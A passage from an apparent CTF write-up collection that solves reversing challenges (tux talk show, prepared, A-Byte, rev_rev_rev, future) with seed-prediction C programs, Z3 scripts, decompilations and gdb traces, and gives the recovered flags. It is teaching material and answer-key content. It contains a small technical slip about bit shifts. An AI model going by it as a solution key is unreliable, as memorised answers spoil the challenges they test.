You won. Guess was right! Here's your flag:
Flag file not found!  Contact an H3 admin for assistance.

We can see that we solved it. It didn't print the flag since the file /home/h3/flag.txt does not exist, however it prints out an error message seen in the giveFlag function so we know that we solved it.

hsctf 2019 tux talk show

Let's take a look at the binary:

$	pwn checksec tuxtalkshow 
[*] '/Hackery/pod/modules/bad_seed/hsctf19_tuxtalkshow/tuxtalkshow'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
$	file tuxtalkshow 
tuxtalkshow: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, BuildID[sha1]=8c0d2b94392e01fecb4b54999cc8afe6fa99653d, for GNU/Linux 3.2.0, not stripped
$	./tuxtalkshow 
Welcome to Tux Talk Show 2019!!!
Enter your lucky number: 15935728

So we can see that we are dealing with a 64 bit binary with PIE enabled. When we run it, it prompts us for a number. When we look at the main function we see this:

undefined8 main(void)

{
  int randVal;
  time_t time;
  basic_ostream *this;
  long in_FS_OFFSET;
  int input;
  int j;
  int targetNumber;
  int i;
  int array [4];
  basic_string local_248 [32];
  basic_istream local_228 [520];
  long local_20;
  
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  basic_ifstream((char *)local_228,0x1020b0);
  time = time((time_t *)0x0);
  srand((uint)time);
                    /* try { // try from 0010127e to 001012c0 has its CatchHandler @ 00101493 */
  this = operator<<<std--char_traits<char>>
                   ((basic_ostream *)cout,"Welcome to Tux Talk Show 2019!!!");
  operator<<((basic_ostream<char,std--char_traits<char>> *)this,endl<char,std--char_traits<char>>);
  operator<<<std--char_traits<char>>((basic_ostream *)cout,"Enter your lucky number: ");
  operator>>((basic_istream<char,std--char_traits<char>> *)cin,&input);
  array[0] = 0x79;
  array[1] = 0x12c97f;
  array[2] = 0x135f0f8;
  array[3] = 0x74acbc6;
  j = 0;
  while (j < 6) {
    randVal = rand();
    array[(long)j] = array[(long)j] - (randVal % 10 + -1);
    j = j + 1;
  }
  targetNumber = 0;
  i = 0;
  while (i < 6) {
    targetNumber = targetNumber + array[(long)i];
    i = i + 1;
  }
  if (targetNumber == input) {
    basic_string();
                    /* try { // try from 00101419 to 00101448 has its CatchHandler @ 0010147f */
    operator>><char,std--char_traits<char>,std--allocator<char>>(local_228,local_248);
    this = operator<<<char,std--char_traits<char>,std--allocator<char>>
                     ((basic_ostream *)cout,local_248);
    operator<<((basic_ostream<char,std--char_traits<char>> *)this,endl<char,std--char_traits<char>>)
    ;
    ~basic_string((basic_string<char,std--char_traits<char>,std--allocator<char>> *)local_248);
  }
  ~basic_ifstream((basic_ifstream<char,std--char_traits<char>> *)local_228);
  if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

So we can see, it starts off by scanning in the contents of flag.txt to local_228. Proceeding that we see that it initializes an int array with size entries, although the decompilation only shows four. Looking at the assembly code shows us the rest:

        001012c1 c7 85 88        MOV        dword ptr [local_280 + RBP],0x79
                 fd ff ff 
                 79 00 00 00
        001012cb c7 85 8c        MOV        dword ptr [local_27c + RBP],0x12c97f
                 fd ff ff 
                 7f c9 12 00
        001012d5 c7 85 90        MOV        dword ptr [local_278 + RBP],0x135f0f8
                 fd ff ff 
                 f8 f0 35 01
        001012df c7 85 94        MOV        dword ptr [local_274 + RBP],0x74acbc6
                 fd ff ff 
                 c6 cb 4a 07
        001012e9 c7 85 98        MOV        dword ptr [local_270 + RBP],0x56c614e
                 fd ff ff 
                 4e 61 6c 05
        001012f3 c7 85 9c        MOV        dword ptr [local_26c + RBP],0xffffffe2
                 fd ff ff 
                 e2 ff ff ff

Also we can see that it uses time as a seed. Proceeding that it performs an algorithm where it will generate random numbers (using time as a seed) to edit the values of array, then accumulate all of those values and that is the number we are supposed to guess. Since the rand function is directly based off of the seed, and since the seed is the time, we know what values the rand function will output. Thus we can just write a simple C program that will simply use time as a seed, and just generate the same number that the target wants us to guess. With that, we can solve the challenge!

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <time.h>

int main()
{
    int array[6];
    int i, output;
    uint32_t randVal, ans;

    srand(time(0)); 


    i = 0;

    array[0] = 0x79;
    array[1] = 0x12c97f;
    array[2] = 0x135f0f8;
    array[3] = 0x74acbc6;
    array[4] = 0x56c614e;
    array[5] = 0xffffffe2;

    while (i < 6)
    {
    	randVal = rand();
    	array[i] = array[i] - ((randVal % 10) - 1);
    	i += 1;
    }

    i = 0;
    output = 0;

    while (i < 6)
    {
    	output = output + array[i];
    	i += 1;
    }


    printf("%d\n", output);	
}

With that, we can solve the challenge. In order for this to work, flag.txt needs to be in the same directory as the binary tuxtalkshow:

$	./solve | ./tuxtalkshow 
Welcome to Tux Talk Show 2019!!!
Enter your lucky number: flag{i_need_to_think_of_better_flags}

Just like that, we got the flag!

Sunshine CTF 2017 Prepared

Let's take a look at the binary:

$    pwn checksec prepared
[*] '/Hackery/pod/modules/bad_seed/sunshinectf17_prepared/prepared'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
$    file prepared
prepared: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=9cd9483ed0e7707d3addd2de44da60d2575652fb, not stripped
$    ./prepared
0 days without an incident.
159
Well that didn't take long.
You should have used 13.

So we can see that we are dealing with a 64 bit binary that prompts us for input. Looking at the main function in Ghidra, we see this:


undefined8 main(void)

{
  long lVar1;
  int randVal;
  int check;
  time_t time;
  FILE *flagFile;
  char *pcVar2;
  long in_FS_OFFSET;
  uint i;
  char flag [64];
  char input [512];
  char target [504];
  long stackCanary;
 
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  time = time((time_t *)0x0);
  srand((uint)time);
  i = 0;
  while ((int)i < 0x32) {
    randVal = rand();
    printf("%d days without an incident.\n",(ulong)i);
    sprintf(target,"%d",(ulong)(uint)(randVal % 100));
    __isoc99_scanf(" %10s",input);
    strtok(input,"\n");
    check = strcmp(target,input);
    if (check != 0) {
      puts("Well that didn\'t take long.");
      printf("You should have used %s.\n",target);
                    /* WARNING: Subroutine does not return */
      exit(0);
    }
    i = i + 1;
  }
  puts("How very unpredictable. Level Cleared");
  flagFile = fopen("flag.txt","r");
  while( true ) {
    pcVar2 = fgets(flag,0x32,flagFile);
    if (pcVar2 == (char *)0x0) break;
    printf("%s",flag);
  }
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

So we can see, this is pretty similar to the other challenges in this module. It declares time as a seed with the srand function, then uses rand to generate values (that are modded by 100) that we have to guess in a loop that will run 50 times. So we have to guess what number rand will generate 50 times in a row.

Luckily for us, the value rand generate is directly based off of the seed. So if we have the same seed, we can generate the same sequence of numbers. Also since the seed is the current time, we know what the seed is. With this we can just write a simple C program which will use time as a seed and generate the numbers it expects:

#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>

int main(void)    
{
    int i, out;
    time_t var0 = time(NULL);
    srand(var0);

    for (i = 0; i < 50; i++)
    {
        out = rand() % 100;
        printf("%d\n", out);
    }
    
    return 0;
}

When we run it:

$    ./solve | ./prepared
0 days without an incident.
1 days without an incident.
2 days without an incident.
3 days without an incident.
4 days without an incident.
5 days without an incident.
6 days without an incident.
7 days without an incident.
8 days without an incident.
9 days without an incident.
10 days without an incident.
11 days without an incident.
12 days without an incident.
13 days without an incident.
14 days without an incident.
15 days without an incident.
16 days without an incident.
17 days without an incident.
18 days without an incident.
19 days without an incident.
20 days without an incident.
21 days without an incident.
22 days without an incident.
23 days without an incident.
24 days without an incident.
25 days without an incident.
26 days without an incident.
27 days without an incident.
28 days without an incident.
29 days without an incident.
30 days without an incident.
31 days without an incident.
32 days without an incident.
33 days without an incident.
34 days without an incident.
35 days without an incident.
36 days without an incident.
37 days without an incident.
38 days without an incident.
39 days without an incident.
40 days without an incident.
41 days without an incident.
42 days without an incident.
43 days without an incident.
44 days without an incident.
45 days without an incident.
46 days without an incident.
47 days without an incident.
48 days without an incident.
49 days without an incident.
How very unpredictable. Level Cleared
isun{pr3d1ct_3very_p[]5s1bl3_scen@r10}

Just like that, we got the flag. Also fun fact, this was a challenge I made back for Sunshine CTF 2017.

Z3 & Symbolic Execution (angr)

hsctf 2019 A-Byte

Let's take a look at the binary:

$	file a-byte 
a-byte: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=88fe0ee8aed1a070d6555c7e9866e364a40f686c, stripped
$	./a-byte 159
u do not know da wae

So we can see that we are dealing with a 64 bit function, that takes in data by passing arguments to the program. Looking through the functions, we find FUN_0010073a which appears to hold most of the code that is relevant to us.

undefined8 FUN_0010073a(int argc,long argv)

{
  long lVar1;
  int iVar2;
  undefined8 uVar3;
  size_t inputLen;
  long in_FS_OFFSET;
  int i;
  char desiredOutput;
  char *inputPtr;
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  if (argc == 2) {
    inputPtr = *(char **)(argv + 8);
    inputLen = strlen(inputPtr);
    if ((int)inputLen == 0x23) {
      i = 0;
      while (i < 0x23) {
        inputPtr[(long)i] = inputPtr[(long)i] ^ 1;
        i = i + 1;
      }
      desiredOutput = 'i';
      iVar2 = strcmp(&desiredOutput,inputPtr);
      if (iVar2 == 0) {
        puts("Oof, ur too good");
        uVar3 = 0;
        goto LAB_00100891;
      }
    }
  }
  puts("u do not know da wae");
  uVar3 = 0xffffffff;
LAB_00100891:
  if (lVar1 == *(long *)(in_FS_OFFSET + 0x28)) {
    return uVar3;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

So we can see that it only wants a single argument in addition to the program name (argc has to be two). Then it checks to see if our input that we gave it via and argument is 0x23 bytes long. If so it will then go through and set all of the bytes equal to the byte xored by 1. It then checks to see if our input is equal to desiredOutput, and if it is it looks like we solved the challenge. Looking at the decompiled code, it looks like desiredOutput is set equal to just the character i. The decompilation got that wrong, and looking at the assembly code shows us what it is actually set equal to:

        001007d5 c6 45 d0 69     MOV        byte ptr [RBP + desiredOutput],0x69
        001007d9 c6 45 d1 72     MOV        byte ptr [RBP + local_37],0x72
        001007dd c6 45 d2 62     MOV        byte ptr [RBP + local_36],0x62
        001007e1 c6 45 d3 75     MOV        byte ptr [RBP + local_35],0x75
        001007e5 c6 45 d4 67     MOV        byte ptr [RBP + local_34],0x67
        001007e9 c6 45 d5 7a     MOV        byte ptr [RBP + local_33],0x7a
        001007ed c6 45 d6 76     MOV        byte ptr [RBP + local_32],0x76
        001007f1 c6 45 d7 31     MOV        byte ptr [RBP + local_31],0x31
        001007f5 c6 45 d8 76     MOV        byte ptr [RBP + local_30],0x76
        001007f9 c6 45 d9 5e     MOV        byte ptr [RBP + local_2f],0x5e
        001007fd c6 45 da 78     MOV        byte ptr [RBP + local_2e],0x78
        00100801 c6 45 db 31     MOV        byte ptr [RBP + local_2d],0x31
        00100805 c6 45 dc 74     MOV        byte ptr [RBP + local_2c],0x74
        00100809 c6 45 dd 5e     MOV        byte ptr [RBP + local_2b],0x5e
        0010080d c6 45 de 6a     MOV        byte ptr [RBP + local_2a],0x6a
        00100811 c6 45 df 6f     MOV        byte ptr [RBP + local_29],0x6f
        00100815 c6 45 e0 31     MOV        byte ptr [RBP + local_28],0x31
        00100819 c6 45 e1 76     MOV        byte ptr [RBP + local_27],0x76
        0010081d c6 45 e2 5e     MOV        byte ptr [RBP + local_26],0x5e
        00100821 c6 45 e3 65     MOV        byte ptr [RBP + local_25],0x65
        00100825 c6 45 e4 35     MOV        byte ptr [RBP + local_24],0x35
        00100829 c6 45 e5 5e     MOV        byte ptr [RBP + local_23],0x5e
        0010082d c6 45 e6 76     MOV        byte ptr [RBP + local_22],0x76
        00100831 c6 45 e7 40     MOV        byte ptr [RBP + local_21],0x40
        00100835 c6 45 e8 32     MOV        byte ptr [RBP + local_20],0x32
        00100839 c6 45 e9 5e     MOV        byte ptr [RBP + local_1f],0x5e
        0010083d c6 45 ea 39     MOV        byte ptr [RBP + local_1e],0x39
        00100841 c6 45 eb 69     MOV        byte ptr [RBP + local_1d],0x69
        00100845 c6 45 ec 33     MOV        byte ptr [RBP + local_1c],0x33
        00100849 c6 45 ed 63     MOV        byte ptr [RBP + local_1b],0x63
        0010084d c6 45 ee 40     MOV        byte ptr [RBP + local_1a],0x40
        00100851 c6 45 ef 31     MOV        byte ptr [RBP + local_19],0x31
        00100855 c6 45 f0 33     MOV        byte ptr [RBP + local_18],0x33
        00100859 c6 45 f1 38     MOV        byte ptr [RBP + local_17],0x38
        0010085d c6 45 f2 7c     MOV        byte ptr [RBP + local_16],0x7c
        00100861 c6 45 f3 00     MOV        byte ptr [RBP + local_15],0x0

So we can see that we are dealing with a char array on the stack, that it moves in input one byte at a time. We can see that the amount of bytes it moves in is 35 (excluding the null byte terminator at the end), the same amount for the length of the data we pass in as an argument. So we know what input we control, we know the algorithm that it is passed through, and we know what the end result will need to be. This is everything we need to make a simple Z3 script to find the solution for us:

from z3 import *

# Designate the desired output
desiredOutput = [0x69, 0x72, 0x62, 0x75, 0x67, 0x7a, 0x76, 0x31, 0x76, 0x5e, 0x78, 0x31, 0x74, 0x5e, 0x6a, 0x6f, 0x31, 0x76, 0x5e, 0x65, 0x35, 0x5e, 0x76, 0x40, 0x32, 0x5e, 0x39, 0x69, 0x33, 0x63, 0x40, 0x31, 0x33, 0x38, 0x7c]


# Designate the input z3 will have control of
inp = []
for i in xrange(0x23):
	byte = BitVec("%s" % i, 8)
	inp.append(byte)

z = Solver()

for i in xrange(0x23):
	z.add((inp[i] ^ 1) == desiredOutput[i])


#Check if z3 can solve it, and if it can print out the solution
if z.check() == sat:
#	print z
	print "Condition is satisfied, would still recommend crying: " + str(z.check())
	solution = z.model()
	flag = ""
	for i in range(0, 0x23):
		flag += chr(int(str(solution[inp[i]])))
	print flag

#Check if z3 can't solve it
elif z.check() == unsat:
	print "Condition is not satisfied, would recommend crying: " + str(z.check())

When we run it:

$	python reverent.py 
Condition is satisfied, would still recommend crying: sat
hsctf{w0w_y0u_kn0w_d4_wA3_8h2bA029}
$	./a-byte hsctf{w0w_y0u_kn0w_d4_wA3_8h2bA029}
Oof, ur too good

Just like that, we solved the challenge!

Tokyowesterns rev_rev_rev

Let's take a look at the binary:

$    file rev_rev_rev-a0b0d214b4aeb9b5dd24ffc971bd391494b9f82e2e60b4afc20e9465f336089f
rev_rev_rev-a0b0d214b4aeb9b5dd24ffc971bd391494b9f82e2e60b4afc20e9465f336089f: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e33eb178391bae637823f4645d63d63eac3a8d07, stripped
$    ./rev_rev_rev-a0b0d214b4aeb9b5dd24ffc971bd391494b9f82e2e60b4afc20e9465f336089f
Rev! Rev! Rev!
Your input: gimme that flag
Invalid!

So we are dealing with a 32 bit program that when we run it, it asks for input (and told us it was invalud). My guess is that this program takes input, alters it, and compares it against a string. Looking through the list of functions (or checking the X-References to strings) we find the FUN_080485ab function which looks like where the code we are interested in is:

undefined4 FUN_080485ab(void)

{
  char *bytesRead;
  int check;
  int in_GS_OFFSET;
  char input [33];
  int stackCanary;
 
  stackCanary = *(int *)(in_GS_OFFSET + 0x14);
  puts("Rev! Rev! Rev!");
  printf("Your input: ");
  bytesRead = fgets(input,0x21,stdin);
  if (bytesRead == (char *)0x0) {
    puts("Input Error.");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  op0(input);
  op1(input);
  op2(input);
  op3(input);
  check = strcmp(input,PTR_DAT_0804a038);
  if (check == 0) {
    puts("Correct!");
  }
  else {
    puts("Invalid!");
  }
  if (stackCanary != *(int *)(in_GS_OFFSET + 0x14)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

So we can see this function starts off bys scanning in 0x21 bytes into input. If the fgets call scans in no bytes, it exits with an error message. Then it runs input through 4 different functions (op0-op3). Then it compares our data against PTR_DAT_0804a038 using strcmp, and if it is equivalent then we pass the challenge. We can check what the value of PTR_DAT_0804a038 via clicking on it and checking it's value. What is happening here is it is scanning in input, altering it with the ops functions, then checking it against PTR_DAT_0804a038:

                             DAT_08048870                                    XREF[2]:     FUN_080485ab:08048668(*),
                                                                                          0804a038(*)  
        08048870 41              ??         41h    A
        08048871 29              ??         29h    )
        08048872 d9              ??         D9h
        08048873 65              ??         65h    e
        08048874 a1              ??         A1h
        08048875 f1              ??         F1h
        08048876 e1              ??         E1h
        08048877 c9              ??         C9h
        08048878 19              ??         19h
        08048879 09              ??         09h
        0804887a 93              ??         93h
        0804887b 13              ??         13h
        0804887c a1              ??         A1h
        0804887d 09              ??         09h
        0804887e b9              ??         B9h
        0804887f 49              ??         49h    I
        08048880 b9              ??         B9h
        08048881 89              ??         89h
        08048882 dd              ??         DDh
        08048883 61              ??         61h    a
        08048884 31              ??         31h    1
        08048885 69              ??         69h    i
        08048886 a1              ??         A1h
        08048887 f1              ??         F1h
        08048888 71              ??         71h    q
        08048889 21              ??         21h    !
        0804888a 9d              ??         9Dh
        0804888b d5              ??         D5h
        0804888c 3d              ??         3Dh    =
        0804888d 15              ??         15h
        0804888e d5              ??         D5h
        0804888f 00              ??         00h

So first we take a look at the op0 function and we see this:

void op0(char *input)

{
  char *newLinePos;
 
  newLinePos = strchr(input,10);
  *newLinePos = '\0';
  return;
}

Looking at this function, we can see that it first looks for the character 0xa, which is a newline character. Then it set's that equal to 0x0. So essentially it replaces the newline character with a null byte. Let's take a look at op1:

void op1(char *input)

{
  size_t len;
  char *beg;
  char *end;
  char holder;
 
  beg = input;
  len = strlen(input);
  end = input + (len - 1);
  while (beg < end) {
    holder = *beg;
    *beg = *end;
    *end = holder;
    beg = beg + 1;
    end = end + -1;
  }
  return;
}

This code essentially takes our input (which has had the newline character stripped) and just reverses it. For instance, if we gave the program 1234, it would reverse it to 4321. Now let's look at op2.

void op2(byte *input)

{
  byte x;
  byte y;
  byte *inputCpy;
 
  inputCpy = input;
  while (*inputCpy != 0) {
    x = (char)*inputCpy >> 1 & 0x55U | (*inputCpy & 0x55) * '\x02';
    y = (char)x >> 2 & 0x33U | (byte)(((int)(char)x & 0x33U) << 2);
    *inputCpy = y >> 4 | (byte)((int)(char)y << 4);
    inputCpy = inputCpy + 1;
  }
  return;
}

This function alters the input, by performing various binary operations on our input (and in one case, multiplying it). We can see that it is a for loop that will run once per each character of our input. It will take the hex value of each character of our input and alter it, however it will only take the first 8 bits worth of data (so the least significant bit). This code effectively translates to the following python since this might be a bit easier to understand. Also shifting a value to the right by 2 is the same as multiplying it by 4:

def enc(input):
    output = ""
    for c in input:
        c = ord(c)
        x = (2 * (c & 0x55)) | ((c >> 1) & 0x55)
        print "x is: " + hex(x)
        y = (4 * (x & 0x33)) | ((x >> 2) & 0x33)
        print "y is: " + hex(y)
        z = (16 * y) | ( y >> 4)
        print "z is: " + hex(z)
        output = hex(z).replace("0x", "")[-2:] + output
    return output

With all of that, let's take a look at the final function our input is ran through op3:

void op3(byte *input)

{
  byte *inputCpy;
 
  inputCpy = input;
  while (*inputCpy != 0) {
    *inputCpy = ~*inputCpy;
    inputCpy = inputCpy + 1;
  }
  return;
}

So like the previous function, this runs a loop that iterates for each character of the input. However this time it alters each character by performing a binary not (which it's operator in c is ~). Essentially it takes the binary value of the character, and converts the zeros to ones and ones to zeros. For instance:

0:    0x30:    00110000
NOT 0:         11001111 = 0xcf

it essentially performs the same function as this python script:

def not_inp(inp):
    output = 0x0
    result = ""
    string = bin(inp).replace("0b", "")
    print "Binary string is: " + string
    for s in string:
        if s == "0":
            result += "1"
        if s == "1":
            result += "0"
    print "Binary inverse is: " + result
    output = int(result, 2)
    return output

So we understand what the four functions do. We could have also figured out what some of the functions do by using gdb, and looking at the value of input_buf changes (it's how I figured out what the first two functions did). Set the breakpoints before each of the four functions is called, and the final strcmp:

gdb-peda$ b *0x0804862b
Breakpoint 1 at 0x804862b
gdb-peda$ b *0x0804863a
Breakpoint 2 at 0x804863a
gdb-peda$ b *0x08048649
Breakpoint 3 at 0x8048649
gdb-peda$ b *0x08048658
Breakpoint 4 at 0x8048658
gdb-peda$ b *0x0804866d
Breakpoint 5 at 0x804866d
gdb-peda$ r
Starting program: /Hackery/west/rev/rev_rev_rev-a0b0d214b4aeb9b5dd24ffc971bd391494b9f82e2e60b4afc20e9465f336089f
Rev! Rev! Rev!
Your input: tux

Before op0 is called:

Breakpoint 1, 0x0804862b in ?? ()
gdb-peda$ x/s $eax
0xffffd07b:    "tux\n"
gdb-peda$ c
Continuing.

After op0, before op1:

Breakpoint 2, 0x0804863a in ?? ()
gdb-peda$ x/s $eax
0xffffd07b:    "tux"
gdb-peda$ c
Continuing.

After op1, before op2:

Breakpoint 3, 0x08048649 in ?? ()
gdb-peda$ x/s $eax
0xffffd07b:    "xut"
gdb-peda$ c
Continuing.

After op2, before op3:

Breakpoint 4, 0x08048658 in ?? ()
gdb-peda$ x/x $eax
0xffffd07b:    0x1e
gdb-peda$ x/w $eax
0xffffd07b:    0x002eae1e
gdb-peda$ x/s $eax
0xffffd07b:    "\036\256."
gdb-peda$ c
Continuing.

After op3, before strcmp:

Breakpoint 5, 0x0804866d in ?? ()
gdb-peda$ x/x $eax
0xffffd07b:    0xe1
gdb-peda$ x/w $eax
0xffffd07b:    0x00d151e1

So we can see the text altered as it is passed through the function. Now that we know what happens to the text, we just need to know what it needs to be after all of it. When we see what value desired_output holds, we see this:

.rodata:08048870 desired_output_storage db  41h ; A      ; DATA XREF: .data:desired_outputo
.rodata:08048871                 db  29h ; )
.rodata:08048872                 db 0D9h ; +
.rodata:08048873                 db  65h ; e
.rodata:08048874                 db 0A1h ; í
.rodata:08048875                 db 0F1h ; ±
.rodata:08048876                 db 0E1h ; ß
.rodata:08048877                 db 0C9h ; +
.rodata:08048878                 db  19h
.rodata:08048879                 db    9
.rodata:0804887A                 db  93h ; ô
.rodata:0804887B                 db  13h
.rodata:0804887C                 db 0A1h ; í
.rodata:0804887D                 db    9
.rodata:0804887E                 db 0B9h ; ¦
.rodata:0804887F                 db  49h ; I
.rodata:08048880                 db 0B9h ; ¦
.rodata:08048881                 db  89h ; ë
.rodata:08048882                 db 0DDh ; ¦
.rodata:08048883                 db  61h ; a
.rodata:08048884                 db  31h ; 1
.rodata:08048885                 db  69h ; i
.rodata:08048886                 db 0A1h ; í
.rodata:08048887                 db 0F1h ; ±
.rodata:08048888                 db  71h ; q
.rodata:08048889                 db  21h ; !
.rodata:0804888A                 db  9Dh ; ¥
.rodata:0804888B                 db 0D5h ; +
.rodata:0804888C                 db  3Dh ; =
.rodata:0804888D                 db  15h
.rodata:0804888E                 db 0D5h ; +
.rodata:0804888F                 db    0

So we can see that it is equal to a hex string starting with 0x41 and ending with 0x0. So now that we know what it needs to be equal to we can use the solver z3. Essentially once we define what happens to the input, z3 will tell us what input we need to meet the desired output.

I made two scripts, one to undo the binary not, and one to figure out the input needed to get the desired output out of enc_func. Also to account for op1 (function that reverses our input) I just inputted the hex string backwards. Now for the script to undo the binary not:

#Establish the flag after the binary not
flag = [ 0xd5, 0x15, 0x3d, 0xd5, 0x9d, 0x21, 0x71, 0xf1, 0xa1, 0x69, 0x31, 0x61, 0xdd, 0x89, 0xb9, 0x49, 0xb9, 0x09, 0xa1, 0x13, 0x93, 0x09, 0x19, 0xc9, 0xe1, 0xf1, 0xa1, 0x65, 0xd9, 0x29, 0x41]

#Establish the function to execute the binary not
def not_inp(inp):
    output = 0x0
    result = ""
    string = bin(inp).replace("0b", "")
    #Check if there are less than 8 bits, and if so add zeroes to the front to get 8 bits
    if len(string) < 8:
        diff = 8 - len(string)
        string = diff*"0" + string
    print "Binary string is:  " + string
    
    #Swap the ones with zeroes, and vice versa
    for s in string:
        if s == "0":
            result += "1"
        if s == "1":
            result += "0"
    print "Binary inverse is: " + result
    
    #Convert the binary string to an int, and return it
    output = int(result, 2)
    return output

#Establish the array which will hold the output
out = []
#Iterate through each character of the flag, and undo the binary not
for i in flag:
    x = not_inp(i)
    out.append(x)
    print hex(x)

#Print the flag before the binary not
print "alt_flag = " + str(out)

when we run the script, we see that the hex string before the binary not happens is equal to this:

alt_flag = [42, 234, 194, 42, 98, 222, 142, 14, 94, 150, 206, 158, 34, 118, 70, 182, 70, 246, 94, 236, 108, 246, 230, 54, 30, 14, 94, 154, 38, 214, 190]

With this info, we can just use z3 to figure out the input needed for enc_func to output that. Z3 is a theorem solver by Microsoft (you can find install instructions here https://github.com/Z3Prover/z3). Z3 will allow us to essentially declare the input it has control over, specify the algorithm that it goes through, and then specify what you want the output to be (and any additional constraints you want to have). Then you can check if Z3 can solve it, and if it can it will solve it and print a solution. Checkout the code for more details:

#Import z3
from z3 import *

#Establish the hex array of what the end result should be before the binary not
alt_flag = [42, 234, 194, 42, 98, 222, 142, 14, 94, 150, 206, 158, 34, 118, 70, 182, 70, 246, 94, 236, 108, 246, 230, 54, 30, 14, 94, 154, 38, 214, 190]

#Establish the solving function
def solve(alt_flag):    
    #Establish the solver
    zolv = Solver()

    #Establish the array which will hold all of the integers which we will input
    inp = []
    for i in range(0, len(alt_flag)):
        b = BitVec("%d" % i, 16)
        inp.append(b)

    #Run the same text altering function as enc_func
    for i in range(0, len(alt_flag)):
        x = (2 * (inp[i] & 0x55)) | ((inp[i] >> 1) & 0x55)
        y = (4 * (x & 0x33)) | ((x >> 2) & 0x33)
        z = (16 * y) | ( y >> 4)
        #We need to and it by 0xff, that way we only get the last 8 bits
        z = z & 0xff
        #Add the condition to z3 that we need to end value to be equal to it's corresponding alt_flag value
        zolv.add( z == alt_flag[i])

    #Check if the problem is solvable by z3
    if zolv.check() == sat:
        print "The condition is satisfied, would still recommend crying: " + str(zolv.check())
        #The problem is solvable, model it and print the solution
        solution = zolv.model()
        flag = ""
        for i in range(0, len(alt_flag)):
            flag += chr(int(str(solution[inp[i]])))
        print flag

    #The problem is not solvable by z3    
    if zolv.check() == unsat:
        print "The condition is not satisfied, would recommend crying: " + str(zolv.check())


solve(alt_flag)

Let's try it!

$ python reverent.py
The condition is satisfied, would still recommend crying: sat
TWCTF{qpzisyDnbmboz76oglxpzYdk}
$ ./rev_rev_rev
Rev! Rev! Rev!
Your input: TWCTF{qpzisyDnbmboz76oglxpzYdk}
Correct!

Just like that, we reversed the challenge!

future

Full disclosure, the solution I found and talk about in here is an unintended solution (got the intended flag after showing my solution to an admin).

Let's take a look at the binary:

$    file future
future: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d6e528233c162804c1b358c2e15be38eb717c98a, not stripped
$    ./future
What's the flag: TUCTF{heres_a_flag}
Try harder.

So it is a 32 bit binary, and when we run it it prompts us for the flag. Luckily for this one we're given the source code. Let's take a look at it:

$    cat future.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void genMatrix(char mat[5][5], char str[]) {
    for (int i = 0; i < 25; i++) {
        int m = (i * 2) % 25;
        int f = (i * 7) % 25;
        mat[m/5][m%5] = str[f];
    }
}

void genAuthString(char mat[5][5], char auth[]) {
    auth[0] = mat[0][0] + mat[4][4];
    auth[1] = mat[2][1] + mat[0][2];
    auth[2] = mat[4][2] + mat[4][1];
    auth[3] = mat[1][3] + mat[3][1];
    auth[4] = mat[3][4] + mat[1][2];
    auth[5] = mat[1][0] + mat[2][3];
    auth[6] = mat[2][4] + mat[2][0];
    auth[7] = mat[3][3] + mat[3][2] + mat[0][3];
    auth[8] = mat[0][4] + mat[4][0] + mat[0][1];
    auth[9] = mat[3][3] + mat[2][0];
    auth[10] = mat[4][0] + mat[1][2];
    auth[11] = mat[0][4] + mat[4][1];
    auth[12] = mat[0][3] + mat[0][2];
    auth[13] = mat[3][0] + mat[2][0];
    auth[14] = mat[1][4] + mat[1][2];
    auth[15] = mat[4][3] + mat[2][3];
    auth[16] = mat[2][2] + mat[0][2];
    auth[17] = mat[1][1] + mat[4][1];
}

int main() {
    char flag[26];
    printf("What's the flag: ");
    scanf("%25s", flag);
    flag[25] = 0;

    if (strlen(flag) != 25) {
        puts("Try harder.");
        return 0;
    }


    // Setup matrix
    char mat[5][5];// Matrix for a jumbled string
    genMatrix(mat, flag);
    // Generate auth string
    char auth[19]; // The auth string they generate
    auth[18] = 0; // null byte
    genAuthString(mat, auth);    
    char pass[19] = "\x8b\xce\xb0\x89\x7b\xb0\xb0\xee\xbf\x92\x65\x9d\x9a\x99\x99\x94\xad\xe4\x00";
    
    // Check the input
    if (!strcmp(pass, auth)) {
        puts("Yup thats the flag!");
    } else {
        puts("Nope. Try again.");
    }
    
    return 0;
}

So looking at the source code, we can tell what the program does. It scans in up to 25 bytes of input, checks to make sure that it scanned in 25 bytes. Then it creates a 5 by 5 matrix, and stores the 25 bytes in the matrix in a slightly obscure way. Then it takes the matrix and performs 19 different additions using 2-3 different matrix values for each iteration. It then compares the output of that to a predefined answer pass. If they are the same, then you have the flag.

So first we need to figure out how our input is stored in the matrix. For that, python can help. There are three different values we need to worry about in the genMatrix function f, m/5, and m%5:

>>> for i in xrange(25):
...     print ((i * 2) % 25) / 5
...
0
0
0
1
1
2
2
2
3
3
4
4
4
0
0
1
1
1
2
2
3
3
3
4
4
>>> for i in xrange(25):
...     print ((i * 2) % 25) % 5
...
0
2
4
1
3
0
2
4
1
3
0
2
4
1
3
0
2
4
1
3
0
2
4
